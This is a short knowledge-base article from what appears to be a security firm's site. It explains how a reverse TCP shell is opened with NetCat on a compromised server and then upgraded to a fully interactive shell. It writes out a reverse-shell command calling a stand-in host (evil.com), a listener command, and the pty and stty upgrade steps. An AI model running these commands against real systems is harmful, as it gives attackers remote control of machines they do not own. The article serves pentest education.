• Services
    • Vulnerability Management
    • Pentest
    • Network Pentest
    • Website Security Check
    • Phishing Campaign
    • Mystery Guest
    • Quick scan
  • NetCaptain
  • Knowledge base
  • Partners
    • MSP
  • About us
    • Contact
    • Why CyberAnt
    • News
    • Vacancies
  • Login
  • EN
    • NL
  • Menu Menu

NetCat shell upgrade

The holy grail during a pen test is a functioning shell. During a pen test, if the hacker managed to take over the server by being able to execute commands on the system, the hacker often sets up a connection to his server. NetCat is often used for this purpose. NetCat is a tool on Linux systems that allows you to control other programs over the Internet. However, one of the biggest frustrations for hackers is that the shell returned is quite limited. This binary can also be called ncat or nc depending on the system.

Hacking with NetCat

Suppose a hacker managed to upload a file called shell.php:

The hacker opens a port on his own server (evil.com) listening on port 4444. He does this with nc -lvp 4444. Now the nc -e /bin/bash evil.com 4444 command is executed on the hacked server. The hacked server will now set up a connection to the hacker’s server. This is called a reverse tcp shell.


john@Technetium:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [1.2.3.4] port 4444 [tcp/*] accepted (family 2, sport 54490)
whoami
cyberant
^C
john@Technetium:~$ whoami
john

Above is what a hacker will see. When the hacker accidentally enters CTRL-C, the shell is no longer available. Also, commands that require interaction (such as su) do not work.

How to upgrade a Netcat Shell to an interactive shell?

The first step needed to improve this is to use Python to start an interactive shell. This can be done with Python’s PTY module, and works as follows:

python -c 'import pty; pty.spawn("/bin/bash")'

The above command produces a semi-interactive shell. That is, it is possible to use commands such as su and mysql, which ask for a password. The shell still closes itself with CTRL-C, and auto completion via TAB doesn’t work either. With a few simple commands (and a little magic) it is possible to go to a full shell.

If CTRL-Z is run then the shell is moved to the background. It then types (in the local terminal):
stty raw -echo
fg

The above ensures that there is now a full shell, and can do everything that could be done via SSH, for example. Features such as tab completion and history now work. And VIM through NetCat? Sure!

reverse tcp shell
Share this article
  • Share on Facebook
  • Share on X
  • Share on WhatsApp
  • Share on LinkedIn
  • Share by Mail

Search

Search Search

Recent Posts

  • Once again malware found in US Code Extensions
  • Large-scale attack on popular npm packages: millions of websites and apps potentially affected
  • Age verification on the Internet: what about privacy?
  • Magecart attack claims 8.8 million victims worldwide
  • Help! I have been hacked

CyberAnt is ISO Certified

Iso gecertificeerd

Tags

.DS Store anti-virus award broken access control clickjacking Cryptographic Failures cyberaanval CyberAnt Cybercrime cybercriminelen CyberRisk Cyber Security Datalek Entity injection Etisch Hacker Hacker ict Insecure Design ISO 9001 ISO 27001 IT Infrastructuur beschermen malware Mass Assignment aanval NetCaptain NetCat shell upgraden Netgear ProSAFE switches nominated Open web application Security project Owasp path traversal penetration test pentest Ransomeware aanval Ransomware Responsible Disclosure Secure webshop Security Audit Security audits Security Misconfiguration Server-side request forgery (SSRF) Social Engineering SQL Injection start up of the year vulnerability management web applicatie scanning
CyberAnt is ISO gecertificeerd

Services

  • Pentest
  • Network Pentest
  • Website Security Check
  • Phishing Campaign
  • Mystery Guest

Cyberant

  • Why CyberAnt
  • Partners
  • Knowledge base
  • News
  • About us

Contact

Marconiweg 1
3899 BR Zeewolde

info@cyberant.com
+31 (0)85 047 1590

© Copyright - CyberAnt 2024
  • Link to Facebook
  • Link to LinkedIn
  • Link to Mail
Link to: What is clickjacking? Link to: What is clickjacking? What is clickjacking?clickjacking Link to: The risk of .DS_Store Link to: The risk of .DS_Store Het .DS_store is een inhoudsopgave van je mapThe risk of .DS_Store
Scroll to top Scroll to top Scroll to top

Deze site maakt gebruik van cookies. Door verder te surfen op de site gaat u akkoord met ons gebruik van cookies.

Accepteer instellingenVerberg de mededeling enkelInstellingen

Cookie and Privacy Settings



How we use cookies

We may request cookies to be set on your device. We use cookies to let us know when you visit our websites, how you interact with us, to enrich your user experience, and to customize your relationship with our website.

Click on the different category headings to find out more. You can also change some of your preferences. Note that blocking some types of cookies may impact your experience on our websites and the services we are able to offer.

Essential Website Cookies

These cookies are strictly necessary to provide you with services available through our website and to use some of its features.

Because these cookies are strictly necessary to deliver the website, refusing them will have impact how our site functions. You always can block or delete cookies by changing your browser settings and force blocking all cookies on this website. But this will always prompt you to accept/refuse cookies when revisiting our site.

We fully respect if you want to refuse cookies but to avoid asking you again and again kindly allow us to store a cookie for that. You are free to opt out any time or opt in for other cookies to get a better experience. If you refuse cookies we will remove all set cookies in our domain.

We provide you with a list of stored cookies on your computer in our domain so you can check what we stored. Due to security reasons we are not able to show or modify cookies from other domains. You can check these in your browser security settings.

Other external services

We also use different external services like Google Webfonts, Google Maps, and external Video providers. Since these providers may collect personal data like your IP address we allow you to block them here. Please be aware that this might heavily reduce the functionality and appearance of our site. Changes will take effect once you reload the page.

Google Webfont Settings:

Google Map Settings:

Google reCaptcha Settings:

Vimeo and Youtube video embeds:

Privacy Policy

You can read about our cookies and privacy settings in detail on our Privacy Policy Page.

Privacy statement
Accepteer instellingenVerberg de mededeling enkel